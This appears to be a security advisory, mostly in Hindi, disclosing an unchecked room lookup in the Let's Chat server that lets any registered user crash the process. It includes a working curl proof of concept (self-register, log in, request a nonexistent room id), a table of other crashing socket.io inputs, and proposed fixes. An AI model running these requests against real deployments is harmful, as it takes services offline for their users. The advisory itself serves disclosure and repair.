
Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)
निर्दिष्ट CVE ID: CVE-2026-66749
किसी भी लॉग-इन खाते से एक HTTP अनुरोध Let's Chat सर्वर प्रक्रिया को बंद कर देता है।
GET /messages एक room पैरामीटर लेता है, उस रूम को id द्वारा खोजता है, और फिर परिणाम पर एक
मेथड कॉल करता है, बिना यह जाँचे कि लुकअप ने कुछ लौटाया है या नहीं। एक ऐसी id भेजें जो एक मान्य
24 कैरेक्टर हेक्स स्ट्रिंग हो लेकिन किसी रूम से संबंधित न हो, और परिणामी TypeError
Mongoose कॉलबैक के अंदर फेंक दिया जाता है। Express केवल उन अपवादों को पकड़ता है जो
हैंडलर के अंदर समकालिक रूप से उठाए जाते हैं, इसलिए यह Node तक एक अनकॉट अपवाद के रूप में पहुँचता है
और प्रक्रिया बाहर निकल जाती है।
Repo URL: https://github.com/sdelements/lets-chat
0.4.0 (commit 84981a6, 21 फ़रवरी 2015, जिसने canJoin कॉल पेश की) से लेकर अंतिम रिलीज़
0.4.8 तक असुरक्षित। कोई फिक्स्ड संस्करण मौजूद नहीं है।
commit 617207f पर 0.4.8 पर, और docker.io/sdelements/lets-chat:latest
(0.4.7) पर पुष्टि की गई, जो अभी भी सार्वजनिक रूप से खींचने योग्य है।
CWE-476: NULL Pointer Dereference, जो CWE-248 Uncaught Exception और CWE-400 Uncontrolled Resource Consumption की ओर ले जाता है।
CVSS 4.0 आधार स्कोर 7.1 (उच्च)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
हमलावर को केवल एक सामान्य उपयोगकर्ता खाता और HTTP पोर्ट तक नेटवर्क पहुँच की आवश्यकता होती है। उन्हें किसी रूम का स्वामी या सदस्य होने, किसी मौजूदा रूम id को जानने, या किसी उन्नत भूमिका रखने की आवश्यकता नहीं है।
डिफ़ॉल्ट इंस्टॉल में खाते की आवश्यकता कमज़ोर है, क्योंकि auth.local.enableRegistration
defaults.yml में true पर डिफ़ॉल्ट होता है, इसलिए कोई भी व्यक्ति जो लॉगिन पेज तक पहुँच सकता है, एक
खाता बना सकता है और फिर अनुरोध चला सकता है।
न तो Procfile (web: npm start) और न ही docker/docker-compose.yml एक
सुपरवाइज़र या रीस्टार्ट नीति कॉन्फ़िगर करता है, इसलिए एक सामान्य डिप्लॉयमेंट पर एक अनुरोध सेवा को तब तक
नीचे ले जाता है जब तक कोई ऑपरेटर इसे पुनः आरंभ नहीं करता। जहाँ एक ऑपरेटर ने प्रोसेस सुपरविज़न जोड़ा है,
हमलावर अनुरोध को आसानी से दोहरा सकता है।
रूट कोई रूम सत्यापन मिडलवेयर पंजीकृत नहीं करता। app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
app/controllers/messages.js:34-41 से तुलना करें, जहाँ रूम-स्कोप्ड संस्करण वास्तव में
middlewares.roomRoute जोड़ता है, जो रूम को हल करता है और जब वह मौजूद नहीं होता है तो 404 लौटाता है:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
इसलिए /messages पर room मान बिना सत्यापन के मैनेजर तक पहुँचता है।
app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById कॉलबैक (null, null) के साथ करता है जब id सफाई से कास्ट होती है लेकिन किसी
दस्तावेज़ से मेल नहीं खाती। वहाँ कोई if (!room) गार्ड नहीं है, इसलिए पंक्ति 129 null को डीरेफ़रेंस करती है।
देखा गया आउटपुट:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
पोर्ट 5000 पर एक सामान्य इंस्टॉल के विरुद्ध, बिना किसी कॉन्फ़िगरेशन परिवर्तन के:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
चरण 3 कोई बॉडी नहीं लौटाता है और curl कोड 52 (सर्वर से खाली उत्तर) के साथ बाहर निकलता है। सर्वर प्रक्रिया समाप्त हो जाती है। कोई भी id जो 24 हेक्स कैरेक्टर है और किसी रूम से मेल नहीं खाती, काम करती है।
express.oi हर app.io.route(...) कुंजी को एक सादे socket.on(...) हैंडलर के रूप में पंजीकृत करता है
(initRoutes in node_modules/express.oi/lib/index.js)। एक प्रमाणित socket.io क्लाइंट
इसलिए इन हैंडलरों को सीधे कॉल कर सकता है, जो Express मिडलवेयर श्रृंखला को छोड़ देता है
जिसमें roomRoute भी शामिल है। यह Express के try/catch को भी हटा देता है, इसलिए एक समकालिक throw जो
HTTP पर 500 होगा, socket.io पर प्रक्रिया को मार देता है।
निम्नलिखित में से प्रत्येक भी प्रक्रिया को समाप्त करता है। सभी की पुष्टि की गई है।
लुकअप को गार्ड करें। app/core/messages.js:118 और app/core/files.js:156 में:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234 को sanitizeRoom को कॉल करने से पहले उसी उपचार की आवश्यकता है, और
app/core/rooms.js:248 को एक लापता या गैर-स्ट्रिंग options.identifier को अस्वीकार करना चाहिए।
दो परिवर्तन इस पूरी श्रेणी को बंद कर देंगे, न कि केवल इन उदाहरणों को। पहला, उन क्वेरी पैरामीटरों को
कंट्रोलर सीमा पर परिवर्तित और सत्यापित करें जिन्हें स्ट्रिंग माना जाता है (expand, room, id,
take, skip)। दूसरा, socket.io हैंडलर डिस्पैच को
try/catch में लपेटें और एक process.on('uncaughtException') हैंडलर संलग्न करें ताकि एक एकल खराब अनुरोध
सर्वर को रोकने के बजाय एक त्रुटि प्रतिक्रिया में बदल जाए।
| किस पर पहुँचा जा सकता है | इनपुट | थ्रो साइट |
|---|
| HTTP और socket.io | messages:list, room को एक गैर-मौजूद id पर सेट किया गया | app/core/messages.js:129 |
| HTTP और socket.io | files:list, room को एक गैर-मौजूद id पर सेट किया गया | app/core/files.js:167 |
| socket.io | rooms:get एक गैर-मौजूद id के साथ, या बिना id के | app/core/rooms.js:213 via :234 |
| socket.io | rooms:users बिना room के | app/core/rooms.js:248 |
| socket.io | rooms:join बिना id के | app/core/rooms.js:248 |
| socket.io | messages:list जिसमें expand एक सरणी के रूप में हो | app/core/messages.js:97 |
| socket.io | files:list जिसमें expand एक सरणी के रूप में हो | app/core/files.js:139 |
| socket.io | users:get जिसमें id एक वस्तु के रूप में हो | app/models/user.js:139 |